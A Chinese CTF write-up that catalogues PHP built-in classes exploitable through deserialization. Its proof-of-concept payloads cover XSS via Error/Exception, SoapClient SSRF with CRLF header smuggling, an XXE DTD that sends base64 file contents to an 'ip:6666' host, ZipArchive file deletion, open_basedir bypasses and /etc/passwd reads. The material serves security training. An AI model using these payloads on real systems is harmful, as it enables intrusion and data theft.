CTF中常用的php原生类总结

本文涉及的产品
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
云数据库 RDS MySQL Serverless,价值2615元额度,1个月
简介: CTF中常用的php原生类总结

前提知识

寻找原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    
            // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

常遇到的几个 PHP 原生类如下

Error

Exception

SoapClient

DirectoryIterator

FilesystemIterator

SplFileObject

SimpleXMLElement

Error/Exception

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

Error XSS

适用于php7

开启报错的情况下

<?php
$a = unserialize($_GET['b']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo urlencode(serialize($a));

Excepthin XSS

适用于php5、7版本

开启报错的情况下

<?php
$a = new Exception("<script>alert('1')</script>");
echo urlencode(serialize($a));

Error 命令执行

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

?a=Error&b=phpinfo

?a=Error&b=system(‘ipconfig’)

绕过哈希比较

Error implements Throwable {
  /* 属性 */
  protected string $message ;
  protected int $code ;
  protected string $file ;
  protected int $line ;
  /* 方法 */
  public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
  final public getMessage ( ) : string
  final public getPrevious ( ) : Throwable
  final public getCode ( ) : mixed
  final public getFile ( ) : string
  final public getLine ( ) : int
  final public getTrace ( ) : array
  final public getTraceAsString ( ) : string
  public __toString ( ) : string
  final private __clone ( ) : void
}
<?php
$a = new Error("coleak",1);$b = new Error("coleak",2);
echo $a.PHP_EOL.PHP_EOL;
echo $b;

Error: coleak in E:\phpproject\Pro\1.php:2

Stack trace:

#0 {main}

Error: coleak in E:\phpproject\Pro\1.php:2

Stack trace:

#0 {main}

$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的

利用Error和Exception类的这一点可以绕过在PHP类中的哈希比较

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>

本地测试

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
            if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }
        }
    }
}
$s=new SYCLOVER();
$s->lover=array("coleak");
$s->syc[]="echo 1;";
//echo urlencode(serialize($s));
if( ($s->syc != $s->lover) && (md5($s->syc) === md5($s->lover)) && (sha1($s->syc)=== sha1($s->lover)) ) {
    if (!preg_match("/\<\?php|\(|\)|\"|\'/", $s->syc, $match)) {
        eval($s->syc);
//        echo 1;
    }
}
//    } else {
//        die("Try Hard !!");
//    }
//    echo 1;
?>

eval($s->syc);这步报错,不能将一个数组当代码执行

只有当$s->syc[0]则可以成功执行命令

md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。
preg_match,过滤了括号,无法调用函数,尝试include "flag",但是引号过滤了,我们可以使用两次取反,自动获得字符串的。

poc

<?php
class SYCLOVER {
    public $syc;
    public $lover;
}
$cmd='flag';
$cmd=urlencode(~$cmd);
//echo $cmd;
$str = "?><?=include~".urldecode("%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

SSRF

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

<?php
//uri+cc=SOAPAction
$a = new SoapClient(null,array('location'=>'http://ip:6666/coleak', 'uri'=>'http://ip:6666'));
$a->cc();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST /coleak HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://ip:6666#cc"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://ip:6666" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:cc/></SOAP-ENV:Body></SOAP-ENV:Envelope>

SSRF+CRLF

<?php
$target = 'http://ip:6666';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test11'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
Content-Type: text/xml; charset=utf-8
SOAPAction: "test11#a"
Content-Length: 367
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test11" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

插入Redis命令

<?php
$target = 'http://ip:6666/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "hello
CONFIG SET dir /var/www/html
hello#a"
Content-Length: 403

发送POST数据包,Content-Type 的值设置为 application/x-www-form-urlencoded,而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n

<?php
$target = 'http://ip:6666/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'coleak^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
POST / HTTP/1.1
Host: ip:6666
Connection: Keep-Alive
User-Agent: coleak
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11
data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

bestphp’s revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) 
{
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

扫描目录出来flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!

这里REMOTE_ADDR没法通过X-Forwarded-For等常规方法伪造,考虑使用php原生类进行SSRF

?name=coleak
array(1) { ["name"]=> string(6) "coleak" }

poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "coleak\r\nCookie: PHPSESSID=33t4er7gfrn4ki5d3sljmps1t1\r\n",
    'uri' => "coleak"));
$payload = urlencode(serialize($attack));
echo $payload;

O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

现在需要我们反序列化这个对象,但这里有没有反序列化点,我们在题目源码中发现了session_start();,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set() 这个函数来更改 session.serialize_handler 的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize) 就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST); 函数,传入GET:/?f=session_start POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize) 的调用来修改此页面的序列化引擎为php_serialize。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A6%3A%22coleak%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22coleak%0D%0ACookie%3A+PHPSESSID%3D33t4er7gfrn4ki5d3sljmps1t1%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
serialize_handler=php_serialize

此时,我们成功将我们php原生类SoapClient构造的payload传入了构造的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call 方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法

call_user_func(call_user_func, array(reset($_SESSION), 'welcome_to_the_lctf2018'));
//call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
http://28292289-4593-48f5-b253-e67aee6218eb.node4.buuoj.cn:81/?f=extract
b=call_user_func

重新访问得到存在session的flag

SimpleXMLElement

final public __construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
    public SimpleXMLElement::__construct
(
    string $data,
    int $options = 0,
    bool $dataIsURL = false,
    string $namespaceOrPrefix = "",
    bool $isPrefix = false
)

XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

Homework

<?php 
class calc{
  function __construct__(){
    calc();
  }
  function calc($args1,$method,$args2){
    $args1=intval($args1);
    $args2=intval($args2);
    switch ($method) {
      case 'a':
        $method="+";
        break;
      case 'b':
        $method="-";
        break;
      case 'c':
        $method="*";
        break;
      case 'd':
        $method="/";
        break;
      default:
        die("invalid input");
    }
    $Expression=$args1.$method.$args2;
    eval("\$r=$Expression;");
    die("Calculation results:".$r);
  }
}
?>
根据calc类里面的内容得知,这里通过module传参去调用calc类,然后剩下3个变量是calc($args1,$method,$args2)函数中参数。
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:6666?p=%file;'>">
a.xml
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
/show.php?module=SimpleXMLElement&args[]=http://ip/a.xml&args[]=2&args[]=true

index.php

<?php
  include("function.php");
  include("config.php");
  $username=w_addslashes($_COOKIE['user']);
  $check_code=$_COOKIE['cookie-check'];
  $check_sql="select password from user where username='".$username."'";
  $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
  if($check_sum!==$check_code){
    header("Location: login.php");
  }
?>
<?php readfile("./calc.php");?>

show.php

<?php
  include("function.php");
  include("config.php");
  include("calc.php");
  if(isset($_GET['action'])&&$_GET['action']=="view"){
    if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
    if(!empty($_GET['filename'])){
      $file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
      $file_name=$file_info['0']['2'];
      echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
      $new_sig=mt_rand();
      sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
      die("<br>new sig:".$new_sig);
    }else{
      die("Null filename");
    }
  }
  $username=w_addslashes($_COOKIE['user']);
  $check_code=$_COOKIE['cookie-check'];
  $check_sql="select password from user where username='".$username."'";
  $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
  if($check_sum!==$check_code){
    header("Location: login.php");
  }
  $module=$_GET['module'];
  $args=$_GET['args'];
  do_api($module,$args);
?>

function.php

<?php
function sql_result($sql,$mysql){
  if($result=mysqli_query($mysql,$sql)){
    $result_array=mysqli_fetch_all($result);
    return $result_array;
  }else{
     echo mysqli_error($mysql);
     return "Failed";
  }
}
function upload_file($mysql){
  if($_FILES){
    if($_FILES['file']['size']>2*1024*1024){
      die("File is larger than 2M, forbidden upload");
    }
    if(is_uploaded_file($_FILES['file']['tmp_name'])){
      if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
        $filehash=md5(mt_rand());
        if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
        $new_filename="./upload/".$filehash.".txt";
        move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
        die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
      }else{
        $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
        $new_filename="./upload/".$hash[0][0].".txt";
        move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
        die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
      }
    }else{
      die("Not upload file");
    }
  }
}
function w_addslashes($string){
  return addslashes(trim($string));
}
function do_api($module,$args){
  $class = new ReflectionClass($module);
  $a=$class->newInstanceArgs($args);
}
?>

十六进制转化

a='277c7c6578747261637476616c756528312c636f6e63617428307837652c2873656c656374207265766572736528666c6167292066726f6d20666c6167292c3078376529297c7c27'
hex_string = ""
for i in range(0, len(a), 2):
    hex_byte = a[i:i+2]  # 每两个字符为一个十六进制字节
    decimal_value = int(hex_byte, 16)  # 将十六进制字节转换为十进制值
    char = chr(decimal_value)  # 将十进制值转换为字符
    hex_string += char
print(hex_string)
import binascii
a=b"'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'"
a=binascii.b2a_hex(a)
print(a)

ZipArchive

ZipArchive类可以对文件进行压缩与解压缩处理。

条件:php 5.20

常见的类方法

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

ZipArchive::open方法

ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8

[NepCTF 2021]梦里花开牡丹亭

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }
    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }
}
class login{
    public $file;
    public $filename;
    public $content;
    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

这里一开始存在waf.txt不能执行shell,通过反序列化进入file_get_contents先读取shell.php的内容

poc

$a=new Game();
$a->register='admin';
$a->filename='shell';
$a->password='admin';
$a->username='admin';
$a->content="coleak";
$a->file=new Open();
echo base64_encode(serialize($a));

这里需要查看源码才能看到shell.php的内容,因此我们也可以将filename改为伪协议

php://filter/read=convert.base64-encode/resource=shell

shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

利用ZipArchive的open函数删除文件

<?php
error_reporting(-1);
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;
    public  $file;
    public  $filename;
    public  $content;
}
class login{
    public $file;
    public $filename;
    public $content;
}
class Open{
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = 8;
echo base64_encode(serialize($poc));
?>

执行命令

$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));
?>

文件操作类

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类
  • SplFileObject 类

遍历文件目录

  • DirectoryIterator 类
  • FilesystemIterator 类
  • GlobIterator 类

DirectoryIterator

执行echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名

<?php
$dir=new DirectoryIterator("/");
echo $dir;

遍历文件目录,直接对文件全部输出出来

<?php
$dir=new DirectoryIterator("/");
foreach($dir as $f){
    echo($f.'<br>');
    //echo($f->__toString().'<br>');
}

glob:// 协议用来查找匹配的文件路径模式

<?php
$dir=new DirectoryIterator("glob:///*fl*");
echo $dir;

FilesystemIterator

FilesystemIterator 类与 DirectoryIterator 类相同

GlobIterator类

<?php
$dir = '/fl*';
$a = new GlobIterator($dir);
foreach($a as $f){
    echo $f;
}
?>

绕过 open_basedir

获取目录

DirectoryIterator类 + glob://协议

<?php
  print_r(ini_get('open_basedir').'<br>');
  $dir_array = array();
  $dir = new DirectoryIterator('glob:///*');//目录内容
  foreach($dir as $d){
      $dir_array[] = $d->__toString();
  }
  $dir = new DirectoryIterator('glob:///.*');//. ..
  foreach($dir as $d){
      $dir_array[] = $d->__toString();
  }
  sort($dir_array);
  foreach($dir_array as $d){
      echo $d.' ';
  }
?>

FilesystemIterator类 + glob://协议

<?php
$dir_array = array();
$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}
$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
    $dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
    echo $d.' ';
}

文件读取

<?php
ini_set('open_basedir','/coleak/c');
print_r(ini_get('open_basedir'));
  echo file_get_contents('/flag.txt');

这里由于设置了文件工作目录无法直接读取到flag,需要绕过open_basedir,但shell命令不受影响

官方文档显示脚本内定义的open_basedir只能收紧在php.ini的配置。而不能拓宽配置,因此不能直接使用ini_set_来修改路径

ini_set(‘open_basedir’,‘/’);

ini_set() + 相对路径

由于open_basedir自身的问题,设置为相对路径..在解析的时候会致使自身向上跳转一层

<?php
    show_source(__FILE__);
    print_r(ini_get('open_basedir').'<br>');
    mkdir('test');
    chdir('test');
    ini_set('open_basedir','..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','C:\\');
    print_r(ini_get('open_basedir').'<br>');
    echo file_get_contents('C:\\test\\test.txt');
?>

symlink

symlink是软连接,通过偷梁换柱的方法绕过open_basedir
当前路径是/www/wwwroot/default,新建目录数量=需要上跳次数+1
软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
<?php
    show_source(__FILE__);
    mkdir("1");chdir("1");
    mkdir("2");chdir("2");
    mkdir("3");chdir("3");
    mkdir("4");chdir("4");
    chdir("..");chdir("..");chdir("..");chdir("..");
    symlink("1/2/3/4","tmplink");
    symlink("tmplink/../../../../etc/hosts","bypass");
    unlink("tmplink");
    mkdir("tmplink");
    echo file_get_contents("bypass");
?>

读取文件

SplFileObject

读取文件的一行

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

对文件中的每一行内容进行遍历

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}
hdir('..');
    chdir('..');
    chdir('..');
    chdir('..');
    ini_set('open_basedir','C:\\');
    print_r(ini_get('open_basedir').'<br>');
    echo file_get_contents('C:\\test\\test.txt');
?>


相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
Java 程序员 PHP
PHP对象和类
PHP对象和类
22 0
原生php实现列表接口+分页接口+排序接口组合使用+包括测试数据(不加任何封装)
原生php实现列表接口+分页接口+排序接口组合使用+包括测试数据(不加任何封装)
原生php实现列表接口+分页接口+排序接口组合使用+包括测试数据(不加任何封装)
|
9天前
|
存储 监控 安全
PHP医院安全(不良)事件报告系统源码 vue2+element支持11大类不良事件上报、审核处理、分析改进
医院安全(不良)事件管理系统采用无责的、自愿的填报不良事件方式,有效地减轻医护人员的思想压力,实现以事件为主要对象,可以自动、及时、实际地反应医院的安全、不良、近失事件的情况,更好地掌握不良事件的发生趋势,为及时采取适当的管理措施和流程、制度改进提供了良好的量化依据。系统通过汇集不同类型事件的报告,从中分析出医院内部潜在的问题和风险,将发生的事故降到最低,从而保证病人安全和医护人员安全。
21 0